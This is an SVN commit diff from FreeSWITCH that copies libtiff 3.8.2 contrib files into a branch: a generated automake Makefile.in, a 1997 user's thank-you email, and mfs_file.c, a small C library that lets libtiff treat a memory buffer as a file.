+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/mfs
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = README mfs_file.c
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/mfs/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/mfs/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mfs/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+Date:    Mon, 23 Jun 1997 13:30:48 +0200
+To:      <sam@cthulhu.engr.sgi.com>
+
+From:    "Mike Johnson" <mikehunt@swipnet.se>
+Subject: libtiff - Thanks
+
+Return-Path: mikehunt@swipnet.se 
+Delivery-Date: Mon, 23 Jun 1997 06:53:39 -0700
+
+Hi Sam,
+
+I noticed in the README from libtiff that you would like to know about
+what people have done with libtiff, so I thought I would drop you a
+line.
+
+We have used libtiff to create and convert TIFF images of financial
+documents which are sent from and to major document processing systems
+in Sweden and Denmark.
+
+I would like to express my deep gratitude to yourself and Sillicon
+Graphics for making this excellent library available for public use.
+There is obviously a lot of work that has gone in to libtiff and the
+quality of the code and documentation is an example to others.
+
+One thing that libtiff did not do was work on a memory area rather than
+files. In my applications I had already read a TIFF or other format
+file in to memory and did not want to waste I/O writing it out again
+for libtiff's benefit. I therefore constructed a set of functions to
+pass up to TIFFClientOpen to simulate a file in memory. I have attached
+my mfs (memory file system) source code for you to use or junk, as you
+see fit. :-)
+
+Once again, thanks very much for making my life simpler.
+
+Best Regards,
+
+Mike Johnson.

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/mfs_file.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/mfs_file.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mfs/mfs_file.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/mfs_file.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/mfs_file.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,579 @@
+/*
+--------------------------------------------------------------------------------
+-   Module      :   mem_file.c
+-   Description :   A general purpose library for manipulating a memory area
+-                   as if it were a file.
+-                   mfs_ stands for memory file system.
+-   Author      :   Mike Johnson - Banctec AB 03/07/96
+-                   
+--------------------------------------------------------------------------------
+*/
+
+/* 
+
+Copyright (c) 1996 Mike Johnson
+Copyright (c) 1996 BancTec AB
+
+Permission to use, copy, modify, distribute, and sell this software
+for any purpose is hereby granted without fee, provided
+that (i) the above copyright notices and this permission notice appear in
+all copies of the software and related documentation, and (ii) the names of
+Mike Johnson and BancTec may not be used in any advertising or
+publicity relating to the software.
+
+THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+
+IN NO EVENT SHALL MIKE JOHNSON OR BANCTEC BE LIABLE FOR
+ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+OF THIS SOFTWARE.
+
+*/
+
+
+/*
+--------------------------------------------------------------------------------
+-   Includes
+--------------------------------------------------------------------------------
+*/
+
+#include    <stdio.h>
+#include    <stdlib.h>
+#include    <string.h>
+
+/*
+--------------------------------------------------------------------------------
+-   Definitions
+--------------------------------------------------------------------------------
+*/
+
+#define MAX_BUFFS   20
+#define FALSE       0
+#define TRUE        1
+
+/*
+--------------------------------------------------------------------------------
+-   Globals
+--------------------------------------------------------------------------------
+*/
+
+static char *buf[MAX_BUFFS];        /* Memory for each open buf */
+static long  buf_off[MAX_BUFFS];    /* File pointer for each buf */
+static long  buf_size[MAX_BUFFS];   /* Count of bytes allocated for each buf */
+static long  fds[MAX_BUFFS];        /* File descriptor status */
+static int   buf_mode[MAX_BUFFS];   /* Mode of buffer (r, w, a) */
+
+static int library_init_done = FALSE;
+
+
+/*
+--------------------------------------------------------------------------------
+-   Function prototypes
+--------------------------------------------------------------------------------
+*/
+
+int mfs_open (void *ptr, int size, char *mode);
+int mfs_lseek (int fd, int offset, int whence);
+int mfs_read (int fd, void *buf, int size);
+int mfs_write (int fd, void *buf, int size);
+int mfs_size (int fd);
+int mfs_map (int fd, char **addr, size_t *len);
+int mfs_unmap (int fd);
+int mfs_close (int fd);
+static int extend_mem_file (int fd, int size);
+static void mem_init ();
+
+/*
+--------------------------------------------------------------------------------
+-   Function code
+--------------------------------------------------------------------------------
+*/
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   mfs_open ()
+-
+-   Arguments   :   Pointer to allocated buffer, initial size of buffer, 
+-                   mode spec (r, w, a)
+-
+-   Returns     :   File descriptor or -1 if error.
+-
+-   Description :   Register this area of memory (which has been allocated
+-                   and has a file read into it) under the mem_file library.
+-                   A file descriptor is returned which can the be passed
+-                   back to TIFFClientOpen and used as if it was a disk
+-                   based fd.
+-                   If the call is for mode 'w' then pass (void *)NULL as
+-                   the buffer and zero size and the library will 
+-                   allocate memory for you.
+-                   If the mode is append then pass (void *)NULL and size
+-                   zero or with a valid address.
+-                   
+--------------------------------------------------------------------------------
+*/
+
+int mfs_open (void *buffer, int size, char *mode)
+{
+    int ret, i;
+    void *tmp;
+
+    if (library_init_done == FALSE)
+    {
+        mem_init ();
+        library_init_done = TRUE;
+    }
+
+    ret = -1;
+
+    /* Find a free fd */
+
+    for (i = 0; i < MAX_BUFFS; i++)
+    {
+        if (fds[i] == -1)
+        {
+            ret = i;
+            break;
+        }
+    }
+
+    if (i == MAX_BUFFS)     /* No more free descriptors */
+    {
+        ret = -1;
+        errno = EMFILE;
+    }
+
+    if (ret >= 0 && *mode == 'r')
+    {
+        if (buffer == (void *)NULL)
+        {
+            ret = -1;
+            errno = EINVAL;
+        }
+        else
+        {
+            buf[ret] = (char *)buffer;
+            buf_size[ret] = size;
+            buf_off[ret] = 0;
+        }
+    }
+    else if (ret >= 0 && *mode == 'w')
+    {
+
+        if (buffer != (void *)NULL)
+        {
+            ret = -1;
+            errno = EINVAL;
+        }
+
+        else
+        {
+            tmp = malloc (0);   /* Get a pointer */
+            if (tmp == (void *)NULL)
+            {
+                ret = -1;
+                errno = EDQUOT;
+            }
+            else
+            {
+                buf[ret] = (char *)tmp;
+                buf_size[ret] = 0;
+                buf_off[ret] = 0;
+            }
+        }
+    }
+    else if (ret >= 0 && *mode == 'a')
+    {
+        if (buffer == (void *) NULL)    /* Create space for client */
+        {
+            tmp = malloc (0);   /* Get a pointer */
+            if (tmp == (void *)NULL)
+            {
+                ret = -1;
+                errno = EDQUOT;
+            }
+            else
+            {
+                buf[ret] = (char *)tmp;
+                buf_size[ret] = 0;
+                buf_off[ret] = 0;
+            }
+        }
+        else                            /* Client has file read in already */
+        {
+            buf[ret] = (char *)buffer;
+            buf_size[ret] = size;
+            buf_off[ret] = 0;
+        }
+    }
+    else        /* Some other invalid combination of parameters */
+    {
+        ret = -1;
+        errno = EINVAL;
+    }
+
+    if (ret != -1)
+    {
+        fds[ret] = 0;
+        buf_mode[ret] = *mode;
+    }
+
+    return (ret);
+}
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   mfs_lseek ()
+-
+-   Arguments   :   File descriptor, offset, whence
+-
+-   Returns     :   as per man lseek (2)
+-
+-   Description :   Does the same as lseek (2) except on a memory based file.
+-                   Note: the memory area will be extended if the caller
+-                   attempts to seek past the current end of file (memory).
+-                   
+--------------------------------------------------------------------------------
+*/
+
+int mfs_lseek (int fd, int offset, int whence)
+{
+    int ret;
+    long test_off;
+
+    if (fds[fd] == -1)  /* Not open */
+    {
+        ret = -1;
+        errno = EBADF;
+    }
+    else if (offset < 0 && whence == SEEK_SET)
+    {
+        ret = -1;
+        errno = EINVAL;
+    }
+    else
+    {
+        switch (whence)
+        {
+            case SEEK_SET:
+                if (offset > buf_size[fd])
+                    extend_mem_file (fd, offset);
+                buf_off[fd] = offset;
+                ret = offset;
+                break;
+
+            case SEEK_CUR:
+                test_off = buf_off[fd] + offset;
+
+                if (test_off < 0)
+                {
+                    ret = -1;
+                    errno = EINVAL;
+                }
+                else
+                {
+                    if (test_off > buf_size[fd])
+                        extend_mem_file (fd, test_off);
+                    buf_off[fd] = test_off;
+                    ret = test_off;
+                }
+                break;
+
+            case SEEK_END:
+                test_off = buf_size[fd] + offset;
+
+                if (test_off < 0)
+                {
+                    ret = -1;
+                    errno = EINVAL;
+                }
+                else
+                {
+                    if (test_off > buf_size[fd])
+                        extend_mem_file (fd, test_off);
+                    buf_off[fd] = test_off;
+                    ret = test_off;
+                }
+                break;
+
+            default:
+                errno = EINVAL;
+                ret = -1;
+                break;
+        }
+    }
+
+    return (ret);
+}   
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   mfs_read ()
+-
+-   Arguments   :   File descriptor, buffer, size
+-
+-   Returns     :   as per man read (2)
+-
+-   Description :   Does the same as read (2) except on a memory based file.
+-                   Note: An attempt to read past the end of memory currently
+-                   allocated to the file will return 0 (End Of File)
+-                   
+--------------------------------------------------------------------------------
+*/
+
+int mfs_read (int fd, void *clnt_buf, int size)
+{
+    int ret;
+
+    if (fds[fd] == -1 || buf_mode[fd] != 'r')
+    {
+        /* File is either not open, or not opened for read */
+
+        ret = -1;
+        errno = EBADF;
+    }
+    else if (buf_off[fd] + size > buf_size[fd])
+    {
+        ret = 0;        /* EOF */
+    }
+    else
+    {
+        memcpy (clnt_buf, (void *) (buf[fd] + buf_off[fd]), size);
+        buf_off[fd] = buf_off[fd] + size;
+        ret = size;
+    }
+
+    return (ret);
+}
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   mfs_write ()
+-
+-   Arguments   :   File descriptor, buffer, size
+-
+-   Returns     :   as per man write (2)
+-
+-   Description :   Does the same as write (2) except on a memory based file.
+-                   Note: the memory area will be extended if the caller
+-                   attempts to write past the current end of file (memory).
+-                   
+--------------------------------------------------------------------------------
+*/
+
+int mfs_write (int fd, void *clnt_buf, int size)
+{
+    int ret;
+
+    if (fds[fd] == -1 || buf_mode[fd] == 'r')
+    {
+        /* Either the file is not open or it is opened for reading only */
+
+        ret = -1;
+        errno = EBADF;
+    }
+    else if (buf_mode[fd] == 'w')
+    {
+        /* Write */
+
+        if (buf_off[fd] + size > buf_size[fd])
+        {       
+            extend_mem_file (fd, buf_off[fd] + size);
+            buf_size[fd] = (buf_off[fd] + size);
+        }
+
+        memcpy ((buf[fd] + buf_off[fd]), clnt_buf, size);
+        buf_off[fd] = buf_off[fd] + size;
+
+        ret = size;
+    }
+    else
+    {
+        /* Append */
+
+        if (buf_off[fd] != buf_size[fd])
+            buf_off[fd] = buf_size[fd];
+
+        extend_mem_file (fd, buf_off[fd] + size);
+        buf_size[fd] += size;
+
+        memcpy ((buf[fd] + buf_off[fd]), clnt_buf, size);
+        buf_off[fd] = buf_off[fd] + size;
+
+        ret = size;
+    }
+
+    return (ret);
+}
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   mfs_size ()
+-
+-   Arguments   :   File descriptor
+-
+-   Returns     :   integer file size
+-
+-   Description :   This function returns the current size of the file in bytes.
+-                   
+--------------------------------------------------------------------------------
+*/
+
+int mfs_size (int fd)
+{
+    int ret;
+
+    if (fds[fd] == -1)  /* Not open */
+    {
+        ret = -1;
+        errno = EBADF;
+    }
+    else
+        ret = buf_size[fd];
+
+    return (ret);
+}
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   mfs_map ()
+-
+-   Arguments   :   File descriptor, ptr to address, ptr to length
+-
+-   Returns     :   Map status (succeeded or otherwise)
+-
+-   Description :   This function tells the client where the file is mapped
+-                   in memory and what size the mapped area is. It is provided
+-                   to satisfy the MapProc function in libtiff. It pretends
+-                   that the file has been mmap (2)ped.
+-                   
+--------------------------------------------------------------------------------
+*/
+
+int mfs_map (int fd, char **addr, size_t *len)
+{
+    int ret; 
+
+    if (fds[fd] == -1)  /* Not open */
+    {
+        ret = -1;
+        errno = EBADF;
+    }
+    else
+    {
+        *addr = buf[fd];
+        *len = buf_size[fd];
+        ret = 0;
+    }
+
+    return (ret);
+}
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   mfs_unmap ()
+-
+-   Arguments   :   File descriptor
+-
+-   Returns     :   UnMap status (succeeded or otherwise)
+-
+-   Description :   This function does nothing as the file is always
+-                   in memory.
+-                   
+--------------------------------------------------------------------------------
+*/
+
+int mfs_unmap (int fd)
+{
+    return (0);
+}
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   mfs_close ()
+-
+-   Arguments   :   File descriptor
+-
+-   Returns     :   close status (succeeded or otherwise)
+-
+-   Description :   Close the open memory file. (Make fd available again.)
+-                   
+--------------------------------------------------------------------------------
+*/
+
+int mfs_close (int fd)
+{
+    int ret; 
+
+    if (fds[fd] == -1)  /* Not open */
+    {
+        ret = -1;
+        errno = EBADF;
+    }
+    else
+    {
+        fds[fd] = -1;
+        ret = 0;
+    }
+
+    return (ret);
+}
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   extend_mem_file ()
+-
+-   Arguments   :   File descriptor, length to extend to.
+-
+-   Returns     :   0 - All OK, -1 - realloc () failed.
+-
+-   Description :   Increase the amount of memory allocated to a file.
+-                   
+--------------------------------------------------------------------------------
+*/
+
+static int extend_mem_file (int fd, int size)
+{
+    void *new_mem;
+    int ret;
+
+    if ((new_mem = realloc (buf[fd], size)) == (void *) NULL)
+        ret = -1;
+    else
+    {
+        buf[fd] = (char *) new_mem;
+        ret = 0;
+    }
+
+    return (ret);
+}
+
+/*
+--------------------------------------------------------------------------------
+-   Function    :   mem_init ()
+-
+-   Arguments   :   None
+-
+-   Returns     :   void
+-
+-   Description :   Initialise the library.
+-                   
+--------------------------------------------------------------------------------
+*/
+
+static void mem_init ()
+{
+    int i;
+
+    for (i = 0; i < MAX_BUFFS; i++)
+    {
+        fds[i] = -1;
+        buf[i] = (char *)NULL;
+        buf_size[i] = 0;
+        buf_off[i] = 0;
+    }
+}
+

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ojpeg)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ojpeg/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ojpeg/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
